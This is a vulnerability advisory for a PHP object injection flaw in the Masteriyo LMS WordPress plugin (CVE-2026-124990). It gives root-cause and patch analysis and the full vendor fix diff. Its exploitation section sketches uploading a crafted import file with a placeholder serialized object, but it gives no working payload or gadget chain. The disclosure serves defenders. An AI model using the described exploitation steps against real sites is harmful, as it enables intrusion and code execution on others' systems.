Opens in a new tab
Published : November 17, 2026

CVE-2026-124990: Masteriyo LMS <= 3.5.1 Unauthenticated PHP Object Injection via 'file' Parameter PoC, Patch Analysis & Rule

Severity Critical (CVSS 9.8)
CWE 502
Vulnerable Version 3.5.1
Patched Version 3.5.2
Disclosed November 17, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-124990: This is an unauthenticated PHP Object Injection vulnerability in the Masteriyo LMS plugin versions up to and including 3.5.1. The flaw resides in the course importer component, specifically in the set_post_metas() method, which calls maybe_unserialize() on attacker-controlled postmeta values from an uploaded JSON import file. This allows an attacker to inject arbitrary PHP objects, potentially leading to remote code execution if a suitable gadget chain exists. The CVSS score is 9.8 (Critical), and the vulnerability is classified as CWE-502 (Deserialization of Untrusted Data). Exploitation by unauthenticated attackers requires non-default settings: enable_instructor_registration=true and enable_guest_checkout=true, and at least one purchasable course. On default installations, author-level access is required.

Root Cause: The root cause is the unsafe deserialization of untrusted input in the course importer. In learning-management-system/includes/Importer/CourseImporter.php, the set_post_metas() method (lines around 285-313) iterates over postmeta values and calls maybe_unserialize() on each value without validating that the resulting data contains no malicious objects. Similarly, set_term_metas() (lines around 775-788) does the same for term meta. The QuizImporter.php (lines around 166-176) and QuizzesImportExportController.php (lines around 611-620 and 661-670) also use maybe_unserialize() on imported meta values. The WXRImporter.php (lines around 1051 and 1427) uses maybe_unserialize() on meta values from WXR files. These unsanitized deserializations allow PHP Object Injection. The patch introduces a new function masteriyo_unserialize_import_value() in includes/Helper/serialize.php, which uses masteriyo_maybe_unserialize() (a safe unserializer that only allows specific classes) and checks for disallowed objects at depth with limits to prevent DoS. It also adds a check for serialized strings that are refused by the safe unserializer. The importer code is updated to use this new function and skip values that return null (indicating disallowed objects). Additionally, the patch hardens other areas: it adds a capability check and path validation for SCORM imports (ScormController.php), fixes authorization in QuizAttemptsController.php, and improves sanitization in review repositories.

Exploitation: An attacker can exploit this vulnerability by crafting a malicious JSON import file containing serialized PHP objects in postmeta values. The attacker must access the course import functionality, which is available to unauthenticated users if the site has enable_instructor_registration=true and enable_guest_checkout=true and at least one purchasable course. Otherwise, an author-level user can exploit it. The attacker uploads the JSON file via the import endpoint (likely a REST API endpoint such as /wp-json/masteriyo/v1/courses/import or similar, though the exact endpoint is not specified in the diff). The importer processes the file, and when it reaches set_post_metas(), it calls maybe_unserialize() on the attacker-supplied string, instantiating arbitrary objects. A typical payload would be a serialized string like O:14:”SomeClass”:1:{…} that, when unserialized, triggers a gadget chain leading to remote code execution or other malicious actions. The patch prevents this by using a safe unserializer and rejecting values containing disallowed objects.

Patch Analysis: The patch fixes the vulnerability by replacing all instances of maybe_unserialize() on import data with masteriyo_unserialize_import_value(), which uses masteriyo_maybe_unserialize(). This function only allows a whitelist of classes (MasteriyoDateTime and stdClass) and recursively checks for disallowed objects with depth and count limits. If a disallowed object is found, the function returns null, and the importer skips that meta value. The patch also adds validation to ensure that serialized strings that cannot be safely unserialized are rejected. Additionally, the patch hardens related areas: it adds path traversal protection and symlink checks in SCORM imports, enforces proper capability checks, and sanitizes review content. These changes collectively prevent PHP Object Injection and related attacks.

Impact: If exploited, this vulnerability allows an attacker to perform PHP Object Injection, which can lead to remote code execution if a POP chain is present in the plugin or other installed components. Even without RCE, an attacker could manipulate internal data, escalate privileges, or cause denial of service. The unauthenticated exploitation path (under specific settings) makes this critical for sites with instructor registration and guest checkout enabled. The patch prevents this by blocking the deserialization of malicious objects, thereby mitigating the risk.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/learning-management-system/addons/google-meet/RestApi/GoogleMeetController.php
+++ b/learning-management-system/addons/google-meet/RestApi/GoogleMeetController.php
@@ -853,7 +853,6 @@
 				'description'                  => isset( $event['description'] ) ? $event['description'] : '',
 				'starts_at'                    => $event['start']['dateTime'],
 				'ends_at'                      => $event['end']['dateTime'],
-				'author'                       => $event['id'],
 				'calender_url'                 => $event['htmlLink'],
 				'time_zone'                    => $event['start']['timeZone'],
 				'meet_url'                     => $event['hangoutLink'],
@@ -1066,7 +1065,6 @@
 				'description'                  => isset( $event['description'] ) ? $event['description'] : '',
 				'starts_at'                    => $event['start']['dateTime'],
 				'ends_at'                      => $event['end']['dateTime'],
-				'author'                       => $event['id'],
 				'calender_url'                 => $event['htmlLink'],
 				'time_zone'                    => $event['start']['timeZone'],
 				'meet_url'                     => $event['hangoutLink'],
--- a/learning-management-system/addons/scorm/Controllers/ScormController.php
+++ b/learning-management-system/addons/scorm/Controllers/ScormController.php
@@ -417,9 +417,11 @@
 			);
 		}

-		if ( ! $this->permission->rest_check_post_permissions( PostType::COURSE, 'create' ) ) {
+		$course_id = absint( $request->get_param( 'course_id' ) );
+
+		if ( ! current_user_can( 'unfiltered_html' ) || ! $course_id || ! $this->permission->rest_check_post_permissions( PostType::COURSE, 'update', $course_id ) ) {
 			return new WP_Error(
-				'masteriyo_rest_cannot_create',
+				'masteriyo_rest_cannot_import',
 				__( 'Sorry, you are not allowed to import courses.', 'learning-management-system' ),
 				array(
 					'status' => rest_authorization_required_code(),
@@ -638,6 +640,15 @@
 			$item_name = $r_file['name'];
 			$item_ext  = strtolower( pathinfo( $item_name, PATHINFO_EXTENSION ) );

+			if ( ! self::is_safe_archive_path( $item_name ) || self::is_archive_symlink( $zip, $i ) ) {
+				$zip->close();
+				unlink( $file );
+				return new WP_Error(
+					'unsafe_archive_entry',
+					__( 'The package contains an unsafe file path.', 'learning-management-system' )
+				);
+			}
+
 			if ( substr( $item_name, 0, 9 ) === '__MACOSX/' ) {
 				$macosx[] = $item_name;
 				continue;
@@ -711,4 +722,42 @@

 		return $scorm_package;
 	}
+
+	/**
+	 * Whether an archive entry stays within the package extraction directory.
+	 *
+	 * @param string $path Archive entry path.
+	 * @return bool
+	 */
+	private static function is_safe_archive_path( $path ) {
+		if ( ! is_string( $path ) || '' === $path || false !== strpos( $path, "" ) ) {
+			return false;
+		}
+
+		$path = str_replace( '\', '/', $path );
+
+		if ( '/' === $path[0] || preg_match( '/^[a-zA-Z]://', $path ) ) {
+			return false;
+		}
+
+		return ! in_array( '..', explode( '/', $path ), true );
+	}
+
+	/**
+	 * Whether an archive entry is a symbolic link.
+	 *
+	 * @param ZipArchive $zip   Open archive.
+	 * @param int        $index Entry index.
+	 * @return bool
+	 */
+	private static function is_archive_symlink( $zip, $index ) {
+		$opsys      = 0;
+		$attributes = 0;
+
+		if ( ! $zip->getExternalAttributesIndex( $index, $opsys, $attributes ) ) {
+			return false;
+		}
+
+		return 0120000 === ( ( $attributes >> 16 ) & 0170000 );
+	}
 }
--- a/learning-management-system/addons/scorm/helper/scorm.php
+++ b/learning-management-system/addons/scorm/helper/scorm.php
@@ -38,7 +38,7 @@

 		$scorm_package = json_decode( $scorm_package_meta, true );

-		if ( empty( $scorm_package ) || ! isset( $scorm_package['file_name'] ) || ! isset( $scorm_package['scorm_dir_name'] ) || ! isset( $scorm_package['scorm_version'] ) ) {
+		if ( ! masteriyo_is_valid_scorm_package_meta( $scorm_package ) ) {
 			return null;
 		}

@@ -57,6 +57,37 @@
 	}
 }

+if ( ! function_exists( 'masteriyo_is_valid_scorm_package_meta' ) ) {
+	/**
+	 * Whether stored SCORM package metadata points inside the SCORM upload directory.
+	 *
+	 * Imports name the package directory with digits only and store a file name without
+	 * path separators, so any other value cannot come from an import and must not build a path.
+	 * The file name may be empty (`sanitize_file_name()` empties a name such as `_`); it then
+	 * resolves to the package directory itself.
+	 * The check ignores the viewer's capabilities: `sanitize_file_name()` would change a name
+	 * such as `intro.html.scorm` for a user without `unfiltered_html`.
+	 *
+	 * @param mixed $scorm_package Decoded `_scorm_package` meta.
+	 *
+	 * @return bool
+	 */
+	function masteriyo_is_valid_scorm_package_meta( $scorm_package ) {
+		if ( ! is_array( $scorm_package ) || ! isset( $scorm_package['file_name'], $scorm_package['scorm_dir_name'], $scorm_package['scorm_version'] ) ) {
+			return false;
+		}
+
+		$dir_name  = $scorm_package['scorm_dir_name'];
+		$file_name = $scorm_package['file_name'];
+
+		if ( ! is_scalar( $dir_name ) || ! is_string( $file_name ) || ! ctype_digit( (string) $dir_name ) ) {
+			return false;
+		}
+
+		return ! in_array( $file_name, array( '.', '..' ), true ) && false === strpbrk( $file_name, "/\" );
+	}
+}
+
 if ( ! function_exists( 'masteriyo_is_scorm_course' ) ) {
 	/**
 	 * Check if a course is a SCORM course.
--- a/learning-management-system/includes/Cart/Cart.php
+++ b/learning-management-system/includes/Cart/Cart.php
@@ -238,7 +238,8 @@
 			$callable = apply_filters( 'masteriyo_add_to_cart_get_item_callable', 'masteriyo_get_course', $values['item_id'] );
 			$item     = call_user_func( $callable, $values['item_id'] );

-			if ( empty( $item ) || ! $item->exists() || 0 >= $values['quantity'] ) {
+			// Below 1 also drops a fractional quantity stored before add_to_cart() made it whole.
+			if ( empty( $item ) || ! $item->exists() || 1 > $values['quantity'] ) {
 				continue;
 			}

@@ -1128,7 +1129,8 @@
 			 * @param integer $item_id
 			 * @param MasteriyoModelsCourse|null $course
 			 */
-			$quantity = apply_filters( 'masteriyo_add_to_cart_quantity', $quantity, $item_id, $item );
+			// Whole numbers only: a fraction such as 0.00001 rounds a paid course's total to zero.
+			$quantity = (int) apply_filters( 'masteriyo_add_to_cart_quantity', $quantity, $item_id, $item );

 			if ( $quantity <= 0 || ! $item || 'trash' === $item->get_status() ) {
 				return false;
--- a/learning-management-system/includes/Checkout.php
+++ b/learning-management-system/includes/Checkout.php
@@ -409,6 +409,9 @@
 				)
 			);

+			// Only this account gets a generated password; the rest of the request keeps the site setting.
+			remove_filter( 'masteriyo_registration_is_generate_password', '__return_true' );
+
 			if ( is_null( $user ) || is_wp_error( $user ) ) {
 				masteriyo_get_logger()->error(
 					$user->get_error_message(),
@@ -432,19 +435,13 @@
 				throw new Exception( esc_html__( 'Invalid username or email', 'learning-management-system' ) );
 			}

-			if ( masteriyo_registration_is_generate_password() ) {
-				if ( masteriyo_is_email_verification_enabled() ) {
-					$user->set_status( UserStatus::SPAM );
-					masteriyo_add_notice( __( 'An email has been sent to your inbox. Please confirm your email before logging in.', 'learning-management-system' ) );
-				} else {
-					$user->set_status( UserStatus::ACTIVE );
-					masteriyo_set_customer_auth_cookie( $user->get_id() );
-					masteriyo_add_notice( __( 'Your account was created successfully and a password has been sent to your email address.', 'learning-management-system' ) );
-				}
+			if ( masteriyo_is_email_verification_enabled() ) {
+				$user->set_status( UserStatus::SPAM );
+				masteriyo_add_notice( __( 'An email has been sent to your inbox. Please confirm your email before logging in.', 'learning-management-system' ) );
 			} else {
-					$user->set_status( UserStatus::ACTIVE );
-					masteriyo_set_customer_auth_cookie( $user->get_id() );
-					masteriyo_add_notice( __( 'Your account has been created successfully.', 'learning-management-system' ) );
+				$user->set_status( UserStatus::ACTIVE );
+				masteriyo_set_customer_auth_cookie( $user->get_id() );
+				masteriyo_add_notice( __( 'Your account was created successfully and a password has been sent to your email address.', 'learning-management-system' ) );
 			}

 			$data['customer_id'] = $user->get_id();
--- a/learning-management-system/includes/Helper/serialize.php
+++ b/learning-management-system/includes/Helper/serialize.php
@@ -73,28 +73,71 @@
 	/**
 	 * Whether a decoded value is, or contains at any depth, an object other
 	 * than MasteriyoDateTime or stdClass (typically a __PHP_Incomplete_Class).
-	 * A stdClass is looked inside, like an array.
+	 * A stdClass and a MasteriyoDateTime are looked inside, like an array.
 	 *
-	 * @param mixed $value Decoded value.
+	 * A serialized value can refer to itself (`r:` and `R:` back-references), so
+	 * the walk goes at most 512 levels deep and into at most 100,000 arrays and
+	 * objects. A value that needs more counts as disallowed. Scalars do not count,
+	 * so a long list of them always decodes.
+	 *
+	 * @param mixed    $value  Decoded value.
+	 * @param int|null $budget Arrays and objects left to visit. Callers leave it out.
+	 * @param int      $depth  Current depth. Callers leave it out.
 	 * @return bool
 	 */
-	function masteriyo_holds_disallowed_object( $value ) {
-		if ( $value instanceof MasteriyoDateTime ) {
+	function masteriyo_holds_disallowed_object( $value, &$budget = null, $depth = 0 ) {
+		if ( ! is_array( $value ) && ! is_object( $value ) ) {
 			return false;
 		}

-		if ( is_object( $value ) && 'stdClass' !== get_class( $value ) ) {
+		if ( null === $budget ) {
+			$budget = 100000;
+		}
+
+		if ( --$budget < 0 || $depth > 512 ) {
+			return true;
+		}
+
+		if ( is_object( $value ) && ! $value instanceof MasteriyoDateTime && 'stdClass' !== get_class( $value ) ) {
 			return true;
 		}

-		if ( is_array( $value ) || is_object( $value ) ) {
-			foreach ( $value as $item ) {
-				if ( masteriyo_holds_disallowed_object( $item ) ) {
-					return true;
-				}
+		// The array cast also lists protected properties, such as MasteriyoDateTime::$utc_offset, which foreach skips.
+		foreach ( (array) $value as $item ) {
+			if ( masteriyo_holds_disallowed_object( $item, $budget, $depth + 1 ) ) {
+				return true;
 			}
 		}

 		return false;
 	}
 }
+
+if ( ! function_exists( 'masteriyo_unserialize_import_value' ) ) {
+	/**
+	 * Decode a meta value read from an import file.
+	 *
+	 * Exports carry meta as stored in the database, so a value can be a
+	 * serialized string. It is decoded with masteriyo_maybe_unserialize(), which
+	 * never instantiates a class outside its allow-list. Some meta is stored
+	 * serialized twice (the MasterStudy migration's `_download_materials`), so a
+	 * decoded serialized string is kept as stored. A value that holds a
+	 * disallowed object, directly or inside such a string, or that cannot be
+	 * decoded, is refused: saving it would hand it to any later
+	 * maybe_unserialize() of that meta.
+	 *
+	 * @param mixed $value Meta value from the import file.
+	 * @return mixed|null The decoded value, or null when it must not be saved.
+	 */
+	function masteriyo_unserialize_import_value( $value ) {
+		$value = masteriyo_maybe_unserialize( $value );
+
+		// masteriyo_maybe_unserialize() returns a string it refuses unchanged. One more
+		// level covers readers that decode stored meta a second time.
+		if ( is_string( $value ) && is_serialized( $value ) && masteriyo_maybe_unserialize( $value ) === $value ) {
+			return null;
+		}
+
+		return $value;
+	}
+}
--- a/learning-management-system/includes/Importer/CourseImporter.php
+++ b/learning-management-system/includes/Importer/CourseImporter.php
@@ -182,7 +182,7 @@

 			$data_to_insert                = masteriyo_array_except(
 				$post,
-				array( 'ID', 'terms', 'postmeta', 'post_date', 'post_date_gmt', 'post_modified', 'post_modified_gmt', 'post_author' )
+				array( 'ID', 'terms', 'postmeta', 'meta_input', 'post_date', 'post_date_gmt', 'post_modified', 'post_modified_gmt', 'post_author' )
 			);
 			$data_to_insert['post_author'] = get_current_user_id();

@@ -285,7 +285,11 @@
 		}

 		foreach ( $metas_to_set as $meta_key => $meta_value ) {
-			$value = maybe_unserialize( $meta_value[0] );
+			$value = masteriyo_unserialize_import_value( $meta_value[0] );
+
+			if ( null === $value ) {
+				continue;
+			}

 			// Update old category ids with new ones.
 			if ( '_category_ids' === $meta_key && is_array( $value ) ) {
@@ -309,7 +313,7 @@
 				);
 			}

-			add_post_meta( $post_id, $meta_key, wp_slash( $value ) );
+			add_post_meta( $post_id, $meta_key, map_deep( $value, 'wp_slash' ) );
 		}
 	}

@@ -771,14 +775,18 @@
 	 */
 	protected function set_term_metas( int $term_id, $metas_to_set ) {
 		foreach ( $metas_to_set as $meta_key => $meta_value ) {
-			$value = maybe_unserialize( $meta_value[0] );
+			$value = masteriyo_unserialize_import_value( $meta_value[0] );
+
+			if ( null === $value ) {
+				continue;
+			}

 			// Add to history for later.
 			if ( '_featured_image' === $meta_key ) {
 				$this->history['term_featured_images'][ intval( $term_id ) ] = intval( $value );
 			}

-			add_term_meta( $term_id, $meta_key, wp_slash( $value ) );
+			add_term_meta( $term_id, $meta_key, map_deep( $value, 'wp_slash' ) );
 		}
 	}

--- a/learning-management-system/includes/Importer/QuizImporter.php
+++ b/learning-management-system/includes/Importer/QuizImporter.php
@@ -151,7 +151,7 @@

 			$post_data = masteriyo_array_except(
 				$post,
-				array( 'ID', 'meta', 'post_date', 'post_date_gmt', 'post_modified', 'post_modified_gmt', 'post_author' )
+				array( 'ID', 'meta', 'meta_input', 'post_date', 'post_date_gmt', 'post_modified', 'post_modified_gmt', 'post_author' )
 			);

 			$post_data['post_author'] = get_current_user_id();
@@ -166,8 +166,13 @@
 			// Insert post meta data.
 			if ( isset( $post['meta'] ) && is_array( $post['meta'] ) ) {
 				foreach ( $post['meta'] as $meta_key => $meta_value ) {
-					$value = maybe_unserialize( $meta_value[0] );
-					add_post_meta( $post_id, $meta_key, wp_slash( $value ) );
+					$value = masteriyo_unserialize_import_value( $meta_value[0] );
+
+					if ( null === $value ) {
+						continue;
+					}
+
+					add_post_meta( $post_id, $meta_key, map_deep( $value, 'wp_slash' ) );
 				}
 			}

--- a/learning-management-system/includes/Repository/CourseQuestionAnswerRepository.php
+++ b/learning-management-system/includes/Repository/CourseQuestionAnswerRepository.php
@@ -77,6 +77,11 @@
 			}
 		}

+		// Core's filters for new comment content: kses for users without unfiltered_html.
+		// wp_insert_comment() unslashes what it stores, so the model gets the unslashed copy, as stored.
+		$content = apply_filters( 'pre_comment_content', $course_qa->get_content() );
+		$course_qa->set_content( wp_unslash( $content ) );
+
 		$id = wp_insert_comment(
 			/**
 			 * Filters new course question-answer data before creating.
@@ -96,7 +101,7 @@
 					'comment_author_IP'    => $course_qa->get_ip_address( 'edit' ),
 					'comment_date'         => gmdate( 'Y-m-d H:i:s', $course_qa->get_created_at( 'edit' )->getOffsetTimestamp() ),
 					'comment_date_gmt'     => gmdate( 'Y-m-d H:i:s', $course_qa->get_created_at( 'edit' )->getTimestamp() ),
-					'comment_content'      => $course_qa->get_content(),
+					'comment_content'      => $content,
 					'comment_approved'     => $course_qa->get_status( 'edit' ),
 					'comment_agent'        => $course_qa->get_agent( 'edit' ),
 					'comment_type'         => $course_qa->get_type( 'edit' ),
@@ -220,6 +225,9 @@
 			);

 			wp_update_comment( array_merge( array( 'comment_ID' => $course_qa->get_id() ), $course_qa_data ) );
+
+			// wp_update_comment() filters what it stores, so the update hook gets the stored content.
+			$course_qa->set_content( get_comment( $course_qa->get_id() )->comment_content );
 		}

 		$this->update_comment_meta( $course_qa );
--- a/learning-management-system/includes/Repository/CourseReviewRepository.php
+++ b/learning-management-system/includes/Repository/CourseReviewRepository.php
@@ -91,6 +91,11 @@
 			}
 		}

+		// Core's filters for new comment content: kses for users without unfiltered_html.
+		// wp_insert_comment() unslashes what it stores, so the model gets the unslashed copy, as stored.
+		$content = apply_filters( 'pre_comment_content', $course_review->get_content() );
+		$course_review->set_content( wp_unslash( $content ) );
+
 		$id = wp_insert_comment(
 			/**
 			 * Filters new course review data before creating.
@@ -108,7 +113,7 @@
 					'comment_author_email' => $course_review->get_author_email( 'edit' ),
 					'comment_author_url'   => $course_review->get_author_url( 'edit' ),
 					'comment_author_IP'    => $course_review->get_ip_address( 'edit' ),
-					'comment_content'      => $course_review->get_content(),
+					'comment_content'      => $content,
 					'comment_karma'        => $course_review->get_rating( 'edit' ),
 					'comment_approved'     => $course_review->get_status( 'edit' ),
 					'comment_agent'        => $course_review->get_agent( 'edit' ),
@@ -239,6 +244,9 @@
 			);

 			wp_update_comment( array_merge( array( 'comment_ID' => $course_review->get_id() ), $course_review_data ) );
+
+			// wp_update_comment() filters what it stores, so the update hook gets the stored content.
+			$course_review->set_content( get_comment( $course_review->get_id() )->comment_content );
 		}

 		$this->update_comment_meta( $course_review );
--- a/learning-management-system/includes/Repository/LessonReviewRepository.php
+++ b/learning-management-system/includes/Repository/LessonReviewRepository.php
@@ -90,6 +90,11 @@
 			}
 		}

+		// Core's filters for new comment content: kses for users without unfiltered_html.
+		// wp_insert_comment() unslashes what it stores, so the model gets the unslashed copy, as stored.
+		$content = apply_filters( 'pre_comment_content', $lesson_review->get_content() );
+		$lesson_review->set_content( wp_unslash( $content ) );
+
 		$id = wp_insert_comment(
 			/**
 			 * Filters new lesson review data before creating.
@@ -107,7 +112,7 @@
 					'comment_author_email' => $lesson_review->get_author_email( 'edit' ),
 					'comment_author_url'   => $lesson_review->get_author_url( 'edit' ),
 					'comment_author_IP'    => $lesson_review->get_ip_address( 'edit' ),
-					'comment_content'      => $lesson_review->get_content(),
+					'comment_content'      => $content,
 					'comment_approved'     => $lesson_review->get_status( 'edit' ),
 					'comment_agent'        => $lesson_review->get_agent( 'edit' ),
 					'comment_type'         => $lesson_review->get_type( 'edit' ),
@@ -234,6 +239,9 @@
 			);

 			wp_update_comment( array_merge( array( 'comment_ID' => $lesson_review->get_id() ), $lesson_review_data ) );
+
+			// wp_update_comment() filters what it stores, so the update hook gets the stored content.
+			$lesson_review->set_content( get_comment( $lesson_review->get_id() )->comment_content );
 		}

 		$this->update_comment_meta( $lesson_review );
--- a/learning-management-system/includes/Repository/QuizReviewRepository.php
+++ b/learning-management-system/includes/Repository/QuizReviewRepository.php
@@ -79,6 +79,11 @@
 			}
 		}

+		// Core's filters for new comment content: kses for users without unfiltered_html.
+		// wp_insert_comment() unslashes what it stores, so the model gets the unslashed copy, as stored.
+		$content = apply_filters( 'pre_comment_content', $quiz_review->get_content() );
+		$quiz_review->set_content( wp_unslash( $content ) );
+
 		$id = wp_insert_comment(
 		/**
 		 * Filters new quiz review data before creating.
@@ -96,7 +101,7 @@
 					'comment_author_email' => $quiz_review->get_author_email( 'edit' ),
 					'comment_author_url'   => $quiz_review->get_author_url( 'edit' ),
 					'comment_author_IP'    => $quiz_review->get_ip_address( 'edit' ),
-					'comment_content'      => $quiz_review->get_content(),
+					'comment_content'      => $content,
 					'comment_karma'        => $quiz_review->get_rating( 'edit' ),
 					'comment_approved'     => $quiz_review->get_status( 'edit' ),
 					'comment_agent'        => $quiz_review->get_agent( 'edit' ),
@@ -227,6 +232,9 @@
 			);

 			wp_update_comment( array_merge( array( 'comment_ID' => $quiz_review->get_id() ), $quiz_review_data ) );
+
+			// wp_update_comment() filters what it stores, so the update hook gets the stored content.
+			$quiz_review->set_content( get_comment( $quiz_review->get_id() )->comment_content );
 		}

 		$this->update_comment_meta( $quiz_review );
--- a/learning-management-system/includes/RestApi/Controllers/Version1/CourseQuestionAnswersController.php
+++ b/learning-management-system/includes/RestApi/Controllers/Version1/CourseQuestionAnswersController.php
@@ -706,11 +706,6 @@
 			$mto_course_qa->set_agent( $request['agent'] );
 		}

-		// Course question-answer Type.
-		if ( isset( $request['type'] ) ) {
-			$mto_course_qa->set_type( $request['type'] );
-		}
-
 		// Course ID.
 		if ( isset( $request['course_id'] ) ) {
 			$mto_course_qa->set_course_id( $request['course_id'] );
--- a/learning-management-system/includes/RestApi/Controllers/Version1/CourseReviewsController.php
+++ b/learning-management-system/includes/RestApi/Controllers/Version1/CourseReviewsController.php
@@ -561,6 +561,7 @@
 					'description' => 'Course Review Type.',
 					'type'        => 'string',
 					'context'     => array( 'view', 'edit' ),
+					'readonly'    => true,
 				),
 				'parent'       => array(
 					'description' => 'Course Review Parent.',
@@ -695,7 +696,7 @@

 		// Course Review Title.
 		if ( isset( $request['title'] ) ) {
-			$course_review->set_title( $request['title'] );
+			$course_review->set_title( sanitize_text_field( $request['title'] ) );
 		}

 		// Course Review Content.
@@ -741,11 +742,6 @@
 			$course_review->set_agent( $request['agent'] );
 		}

-		// Course Review Type.
-		if ( isset( $request['type'] ) ) {
-			$course_review->set_type( $request['type'] );
-		}
-
 		// Course Review Parent.
 		if ( isset( $request['parent'] ) ) {
 			$course_review->set_parent( $request['parent'] );
--- a/learning-management-system/includes/RestApi/Controllers/Version1/LessonReviewsController.php
+++ b/learning-management-system/includes/RestApi/Controllers/Version1/LessonReviewsController.php
@@ -746,6 +746,7 @@
 					'description' => 'Lesson Review Type.',
 					'type'        => 'string',
 					'context'     => array( 'view', 'edit' ),
+					'readonly'    => true,
 				),
 				'parent'       => array(
 					'description' => 'Lesson Review Parent.',
@@ -910,11 +911,6 @@
 			$lesson_review->set_agent( $request['agent'] );
 		}

-		// Lesson Review Type.
-		if ( isset( $request['type'] ) ) {
-			$lesson_review->set_type( $request['type'] );
-		}
-
 		// Lesson Review Parent.
 		if ( isset( $request['parent'] ) ) {
 			$lesson_review->set_parent( $request['parent'] );
--- a/learning-management-system/includes/RestApi/Controllers/Version1/QuizAttemptsController.php
+++ b/learning-management-system/includes/RestApi/Controllers/Version1/QuizAttemptsController.php
@@ -625,8 +625,8 @@
 			$args['user_id'] = masteriyo( 'session' )->get_user_id();
 		}

-		// Prevent students from viewing other students' quiz attempts if sent request without user_id.
-		if ( ! isset( $request['user_id'] ) && masteriyo_is_current_user_student() ) {
+		// Students only ever see their own attempts, whatever user_id the request carries.
+		if ( masteriyo_is_current_user_student() ) {
 			$args['user_id'] = get_current_user_id();
 		}

@@ -1397,7 +1397,8 @@

 			// To make sure student don't get quiz attempts using user id param.
 			if ( masteriyo_is_current_user_student() ) {
-				if ( ! empty( $request['user_id'] ) && masteriyo_get_current_user_id() !== absint( $request['user_id'] ) ) {
+				// isset(), not empty(): user_id=0 must not skip the ownership check.
+				if ( isset( $request['user_id'] ) && masteriyo_get_current_user_id() !== absint( $request['user_id'] ) ) {
 					return new WP_Error(
 						'masteriyo_rest_cannot_read',
 						__( 'Sorry, you are not allowed to read resources.', 'learning-management-system' ),
--- a/learning-management-system/includes/RestApi/Controllers/Version1/QuizReviewsController.php
+++ b/learning-management-system/includes/RestApi/Controllers/Version1/QuizReviewsController.php
@@ -581,6 +581,7 @@
 					'description' => 'Quiz Review Type.',
 					'type'        => 'string',
 					'context'     => array( 'view', 'edit' ),
+					'readonly'    => true,
 				),
 				'parent'       => array(
 					'description' => 'Quiz Review Parent.',
@@ -730,11 +731,6 @@
 			$quiz_review->set_agent( $request['agent'] );
 		}

-		// Quiz Review Type.
-		if ( isset( $request['type'] ) ) {
-			$quiz_review->set_type( $request['type'] );
-		}
-
 		// Quiz ID.
 		if ( isset( $request['quiz_id'] ) ) {
 			$quiz_review->set_quiz_id( $request['quiz_id'] );
--- a/learning-management-system/includes/RestApi/Controllers/Version1/QuizzesImportExportController.php
+++ b/learning-management-system/includes/RestApi/Controllers/Version1/QuizzesImportExportController.php
@@ -588,7 +588,7 @@

 		$quiz = masteriyo_array_except(
 			$quiz,
-			array( 'ID', 'terms', 'meta', 'post_date', 'post_date_gmt', 'post_modified', 'post_modified_gmt', 'post_author' )
+			array( 'ID', 'terms', 'meta', 'meta_input', 'post_date', 'post_date_gmt', 'post_modified', 'post_modified_gmt', 'post_author' )
 		);

 		$quiz['author'] = get_current_user_id();
@@ -611,9 +611,13 @@
 		}

 		foreach ( $metas as $key => $value ) {
-			$value = is_array( $value ) && isset( $value[0] ) ? $value[0] : maybe_unserialize( $value );
+			$value = masteriyo_unserialize_import_value( is_array( $value ) && isset( $value[0] ) ? $value[0] : $value );

-			add_post_meta( $quiz_id, $key, $value );
+			if ( null === $value ) {
+				continue;
+			}
+
+			add_post_meta( $quiz_id, $key, map_deep( $value, 'wp_slash' ) );
 		}

 		return $quiz_id;
@@ -648,7 +652,7 @@

 			$question = masteriyo_array_except(
 				$question,
-				array( 'ID', 'terms', 'meta', 'post_date', 'post_date_gmt', 'post_modified', 'post_modified_gmt', 'post_author' )
+				array( 'ID', 'terms', 'meta', 'meta_input', 'post_date', 'post_date_gmt', 'post_modified', 'post_modified_gmt', 'post_author' )
 			);

 			$question['author']       = get_current_user_id();
@@ -661,9 +665,13 @@
 			}

 			foreach ( $metas as $key => $value ) {
-				$value = is_array( $value ) && isset( $value[0] ) ? $value[0] : maybe_unserialize( $value );
+				$value = masteriyo_unserialize_import_value( is_array( $value ) && isset( $value[0] ) ? $value[0] : $value );
+
+				if ( null === $value ) {
+					continue;
+				}

-				add_post_meta( $question_id, $key, $value );
+				add_post_meta( $question_id, $key, map_deep( $value, 'wp_slash' ) );
 			}
 		}
 	}
--- a/learning-management-system/includes/StarterTemplates/Importers/WXRImporter/WXRImporter.php
+++ b/learning-management-system/includes/StarterTemplates/Importers/WXRImporter/WXRImporter.php
@@ -1051,7 +1051,11 @@
 			if ( $key ) {
 				// export gets meta straight from the DB so could have a serialized string
 				if ( ! $value ) {
-					$value = maybe_unserialize( $meta_item['value'] );
+					$value = masteriyo_unserialize_import_value( $meta_item['value'] );
+				}
+
+				if ( null === $value ) {
+					continue;
 				}

 				if ( '_elementor_data' === $key ) {
@@ -1427,7 +1431,11 @@
 			if ( $key ) {
 				// export gets meta straight from the DB so could have a serialized string
 				if ( ! $value ) {
-					$value = maybe_unserialize( $meta_item['value'] );
+					$value = masteriyo_unserialize_import_value( $meta_item['value'] );
+				}
+
+				if ( null === $value ) {
+					continue;
 				}

 				add_term_meta( $term_id, wp_slash( $key ), wp_slash_strings_only( $value ) );
--- a/learning-management-system/includes/Tax.php
+++ b/learning-management-system/includes/Tax.php
@@ -84,7 +84,7 @@

 		$this->calculation_method = $settings['calculation_method'] ?? 'checkout';
 		$this->display_inclusive  = $settings['display_inclusive'] ?? false;
-		$this->regions            = maybe_unserialize( $settings['regions'] ?? '' );
+		$this->regions            = masteriyo_maybe_unserialize( $settings['regions'] ?? '' );
 		$this->default_tax_rate   = floatval( $settings['default_tax_rate'] ?? 0.0 );

 		// Check if taxes are enabled.
--- a/learning-management-system/lms.php
+++ b/learning-management-system/lms.php
@@ -5,7 +5,7 @@
  * Description: A Complete WordPress LMS plugin to create and sell online courses in no time.
  * Author: Masteriyo
  * Author URI: https://masteriyo.com
- * Version: 3.5.1
+ * Version: 3.5.2
  * Requires at least: 6.6
  * Requires PHP: 7.4
  * Text Domain: learning-management-system
@@ -69,7 +69,7 @@
 unset( $masteriyo_pro_is_active );

 define( 'MASTERIYO_IS_PRO', false );
-define( 'MASTERIYO_VERSION', '3.5.1' );
+define( 'MASTERIYO_VERSION', '3.5.2' );
 define( 'MASTERIYO_PLUGIN_FILE', __FILE__ );

 require_once __DIR__ . '/bootstrap/plugin.php';
--- a/learning-management-system/vendor/autoload.php
